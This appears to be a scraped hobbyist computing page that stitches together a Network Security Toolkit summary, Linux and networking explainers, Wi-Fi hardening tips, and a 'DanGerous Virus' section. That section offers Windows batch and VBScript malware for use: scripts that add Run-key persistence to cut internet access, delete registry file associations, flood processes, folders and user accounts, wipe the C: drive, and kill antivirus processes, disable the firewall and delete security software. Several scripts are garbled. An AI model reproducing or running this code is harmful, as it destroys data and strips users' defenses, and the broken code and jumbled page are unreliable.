Network Security Toolkit

The Network Security Toolkit (NST), based on Fedora, is a live bootable DVD/USB Flash drive consisting of the top 125 open source security tools provided by insecure.org to perform network security, penetration testing, network diagnostics and monitoring of day-to-day tasks. The main objective behind the development of NST is to provide network/systems administrators a combined set of open source security tools to carry out operations like network traffic analysis, intrusion detection, network scanning and security patching.
NST has been developed by Ronald W. Henderson and Paul Blankenbaker. It provides a Web interface known as NST WUI and all the tools can be accessed via the Web page. NST is equipped with intelligent package management capabilities based on Fedora and maintains its own repositories of additional packages.

Figure 6: Network Security Toolkit

Key features:

• Provides visualisation of ntopng, ntop, Wireshark, traceroute, NetFlow and Kismet data.
• JavaScript console with built-in object library helps in the development of dynamic Web pages.
• Other features include network intrusion detection, Web-based Snort IDS integration, active connections monitor, VNC/RDP desktop session management, host/IPv4 address geolocation and network segment ARP scanner.

Latest version: 24-7977 Release.

DanGerous Virus

 

 

These All Viruses Made in Note Pad

Start Earning Now

Do It At Your Own Risk

Only For Educational PurpoSes

         Admin :- elbert0shazoo@gmail.com
After Copying code to your notepad Saved As "Virus.bat"

1. Disable Internet Permanently

This code will disable the internet connectivity permanently.

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v 
WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v 
CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been 
HACKED!
PAUSE

2. Delete Key Registry Files

This will delete key registry files, then loops a message
This is dangerous and unrecoverable Notepad Virus.

@ECHO OFF
 START reg delete HKCR/.exe
 START reg delete HKCR/.dll
 START reg delete HKCR/*
 :MESSAGE
 ECHO Your PC has been crashed.Your Dad.
 GOTO MESSAGE

3. Endless Notepads

This will pop up endless notepads until the computer freezes and crashes

@ECHO off
 :top
 START %SystemRoot%\system32\notepad.exe
 GOTO top

4. Popping CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject(”WMPlayer.OCX.7″)
 Set colCDROMs = oWMP.cdromCollection
 do
 if colCDROMs.Count >= 1 then
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 For i = 0 to colCDROMs.Count – 1
 colCDROMs.Item(i).Eject
 Next
 End If
 wscript.sleep 100
 loop

5. Endless Enter

This will make the enter button pressed continuously

Set wshShell = wscript.CreateObject(”WScript.Shell”)
 do
 wscript.sleep 100
 wshshell.sendkeys “~(enter)”
 loop

6. Application Bomber

It will start to open different applications repeatedly which will affect system’s performance.
You can also add the application of your choice in above code.

@echo off
 :x
 start winword
 start mspaint
 start notepad
 start write
 start cmd
 start explorer
 start control
 start calc
 goto x

7.Folder Flooder

This will create unlimited no. of folders.

@echo off
:x
md %random%
/folder.
goto x

8.User Account Flooder

This will create large no. of the user account on one’s PC and goes on

@echo off
:xnet
user %random% /add
goto x

9.Process Creator

This will create unlimited background processes

%0|%0

10.Windows Hacker

This will delete your whole C:\ drive and it really unrecoverable

@Echo off
Del C:\ *.* |y

10+. Anti Virus Disabler

This large code will disable any antivirus installed on the system

@ echo off
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
rem

IntroDuction To Linux

Linux  is a family of free and open-source software operating systems built around the Linux kernel. Typically, Linux is packaged in a form known as a Linux distribution (or distro for short) for both desktop and server use. The defining component of a Linux distribution is the Linux kernel, an operating system kernel first released on September 17, 1991, by Linus Torvalds. Many Linux distributions use the word "Linux" in their name. The Free Software Foundation uses the name GNU/Linux to refer to the operating system family, as well as specific distributions, to emphasize that most Linux distributions are not just the Linux kernel, and that they have in common not only the kernel, but also numerous utilities and libraries, a large proportion of which are from the GNU project. This has led to some controversy.
Linux was originally developed for personal computers based on the Intel x86 architecture, but has since been ported to more platforms than any other operating system.Because of the dominance of the Linux kernel-based Android OS on smartphones, Linux has the largest installed base of all general-purpose operating systems. Linux is also the leading operating system on servers and other big iron systems such as mainframe computers, and the only OS used on TOP500 supercomputers (since November 2017, having before gradually eliminated all competitors). It is used by around 2.3% of desktop computers.The Chromebook, which runs the Linux kernel-based Chrome OS, dominates the US K–12 education market and represents nearly 20% of the sub-$300 notebook sales in the US. Linux also runs on embedded systems, i.e. devices whose operating system is typically built into the firmware and is highly tailored to the system. This includes TiVo and similar DVR devices, network routers, facility automation controls, televisions, video game consoles and smartwatches. Many smartphones and tablet computers run Android and other Linux derivatives.
The development of Linux is one of the most prominent examples of free and open-source software collaboration. The underlying source code may be used, modified and distributed—commercially or non-commercially—by anyone under the terms of its respective licenses, such as the GNU General Public License.
Some of the most popular and mainstream Linux distributions are Arch Linux, CentOS, Debian, Fedora, Gentoo Linux, Linux Mint, Mageia, openSUSE and Ubuntu, together with commercial distributions such as Red Hat Enterprise Linux and SUSE Linux Enterprise Server. Distributions include the Linux kernel, supporting utilities and libraries, many of which are provided by the GNU Project, and usually a large amount of application software to fulfil the distribution's intended use. Desktop Linux distributions include a windowing system, such as X11, Mir or a Wayland implementation, and an accompanying desktop environment such as GNOME or KDE Plasma; some distributions may also include a less resource-intensive desktop, such as LXDE or Xfce. Distributions intended to run on servers may omit all graphical environments from the standard install, and instead include other software to set up and operate a solution stack such as LAMP. Because Linux is freely redistributable, anyone may create a distribution for any intended use.

Hack Proof Wifi (Security)

 

Enable WPA2 Wireless Encryption; Create a Strong SSID Network Name and Preshared Key

If you aren't using Wi-Fi Protected Access (WPA2) encryption to protect yourwireless network, then you might as well leave your front door wide open because hackers can virtually walk right into your network. If you're using outdated Wired Equivalent Privacy (WEP) security, which is easily cracked in seconds by most hackers, you should consider upgrading to WPA2. Older routers may need afirmware upgrade to add WPA2 functionality. Check your router manufacturer's manual to learn how to enable WPA2 wireless encryption on your router.

You will also need to make a strong SSID (wireless network name). If you are using your router's default network name (i.e. Linksys, Netgear, DLINK, etc.), then you are making it easier for hackers to hack your network. Using a default SSID or a common one helps hackers in their quest to crack your encryption because they can use prebuilt rainbow tables associated with common SSID names to crack your wireless encryption.

Create a lengthy and random SSID name even though it might be hard to remember. You should also use a strong password for your preshared key to further discourage hacking attempts.

Turn On Your Wireless Router's Firewall

If you haven't already done so, you should consider enabling your wireless router's built-in firewall. Enabling the firewall can help to make your network less visible to hackers looking for targets on the internet. Many router-based firewalls have a "stealth mode" that you can enable to help reduce your network's visibility. You will also want to test your firewall to ensure that you have configured it correctly.

Use an encrypted personal VPN service at the router level

Virtual private networks used to be a luxury that only large corporations could afford. Now you can buy your own personal VPN service for a small monthly fee. A personal VPN is one of the biggest roadblocks you can throw at a hacker.

A personal VPN has the capability to anonymize your true location with a proxied IP address and can also put up a wall of strong encryption to protect your network traffic. You can purchase personal VPN service from vendors such as WiTopia,StrongVPN, and others for as little as $10 a month or less as of January 2018.

If your router supports personal VPN service at the router level, then this would be the best way to implement a personal VPN as it allows you to encrypt all traffic entering and leaving your network without the hassle of setting up VPN client software on your computers. Using the personal VPN service at the router level also takes the encryption process burden off of your client PCs and other devices. If you want to use a personal VPN at the router level, check to see if your router is VPN-capable. Buffalo Technologies has several routers with this capability, as do other router manufacturers.

Disable the Admin via Wireless Feature on Your Router

Another way to help prevent hackers from messing with your wireless router is to disable the admin via wireless setting. When you disable the admin via wireless feature on your router it makes it so that only someone who is physically connected to your router via an Ethernet cable can access the admin features of your wireless router. This helps to prevent someone from driving by your house and accessing the administrative functions of your router if they've compromised your Wi-Fi encryption.

Given enough time and resources, a hacker might still be able to hack into your network, but taking the steps above will make your network a harder target, hopefully frustrating hackers and causing them to move on to an easier target

Networking

Networking, also known as computer networking, is the practice of transporting and exchanging data between nodes over a shared medium in an information system. Networking comprises not only the design, construction and use of a network, but also the management, maintenance and operation of the network infrastructure, software and policies.

Computer networking enables devices and endpoints to be connected to each other on a local area network (LAN) or to a larger network, such as the internet or a private wide area network (WAN). This is an essential function for service providers, businesses and consumers worldwide to share resources, use or offer services, and communicate. Networking facilitates everything from telephone calls to text messaging to streaming video to the internet of things (IoT).

The level of skill required to operate a network directly correlates to the complexity of a given network. For example, a large enterprise may have thousands of nodes and rigorous security requirements, such as end-to-end encryption, requiring specialized network administrators to oversee the network.

At the other end of the spectrum, a layperson may set up and perform basic troubleshooting for a home Wi-Fi network with a short instruction manual. Both examples constitute computer networking.

Types of networking

There are two primary types of computer networking: wired networking and wireless networking.

Wired networking requires the use of a physical medium for transport between nodes. Copper-based Ethernet cabling, popular due to its low cost and durability, is commonly used for digital communications in businesses and homes. Alternatively, optical fiber is used to transport data over greater distances and at faster speeds, but it has several tradeoffs, including higher costs and more fragile components.

Wireless networking uses radio waves to transport data over the air, enabling devices to be connected to a network without any cabling. Wireless LANs are the most well-known and widely deployed form of wireless networking. Alternatives include microwave, satellite, cellular and Bluetooth, among others.

As a general rule, wired networking offers greater speed, reliability and security compared to wireless networks; wireless networking tends to provide more flexibility, mobility and scalability.

It should be noted that these types of networking concern the physical layer of the network. Networking can also be classified according to how it's built and designed, encompassing approaches that include software-defined networking (SDN) or overlay networks. Networking can also be categorized by environment and scale, such as LAN, campus, WAN, data center networks or storage area networks.

Components of networking

Computer networking requires the use of physical network infrastructure -- includingswitches, routers and wireless access points -- and the underlying firmware that operates such equipment. Other components include the software necessary to monitor,manage and secure the network.

Additionally, networks rely on the use of standard protocols to uniformly perform discrete functions or communicate different types of data, regardless of the underlying hardware.

For example, voice over IP (VoIP) can transport IP telephony traffic to any endpoint that supports the protocol. HTTP provides a common way for browsers to display webpages. The internet protocol suite, also known as TCP/IP, is a family of protocols responsible for transporting data and services over an IP-based network.